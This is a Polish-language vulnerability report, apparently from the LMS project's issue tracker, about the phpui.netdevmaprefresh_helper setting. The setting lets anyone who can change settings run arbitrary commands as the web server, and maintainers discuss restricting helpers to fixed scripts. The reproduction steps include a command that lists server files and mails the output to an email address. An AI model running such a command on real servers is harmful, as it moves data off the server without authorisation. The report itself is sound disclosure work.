lms
lms copied to clipboard
phpui.netdevmaprefresh_helper RCE
Opis błędu Osoba z dostępem do zmiany ustawień może wykonać dowolną komendę na serwerze na poziomie uprawnień serwera www.
Odtworzenie problemu
- ustaw phpui.netdevmaprefresh_helper polecenie do wykonania, np.: ls | mail -s "message subject" [email protected]
- wejdź na ?m=netdevmap
- kliknij odśwież na mapie
Dodatkowe informacje zapewne taka była intencja tej funkcji, żeby było elastycznie, ale na wszelki wypadek zgłaszam
Dzięki za info. Sprawa jest znana od dawna, bo i założenie projektowe było takie, że pozwalamy w ramach takich ustawień jak to (i podobne np. phpui.ping_helper, phpui.arping_helper) podpięcie dowolnych poleceń wykonujących czarną robotą na serwerze. Jakimś rozwiązaniem mogłoby był zawężenie tego typu ustawień wyłącznie do określania parametrów uruchamianego na serwerze polecenie, a samo polecenie (pełna ścieżka) hardkodowane w PHP. Może nawet nie musiałaby być to pełna ścieżka, a po prostu nazwa skryptu, np. netdevmaprefresh.sh (wystarczyłoby, żeby taki skrypt był umieszczone w jednym z katalogów ze zmiennej środowiskiej PATH i zadziałałoby jak nalezy).
hmm... możliwość uruchamiania skryptu wyłącznie z konkretnego katalogu na pierwszy rzut oka brzmi jak rozwiązanie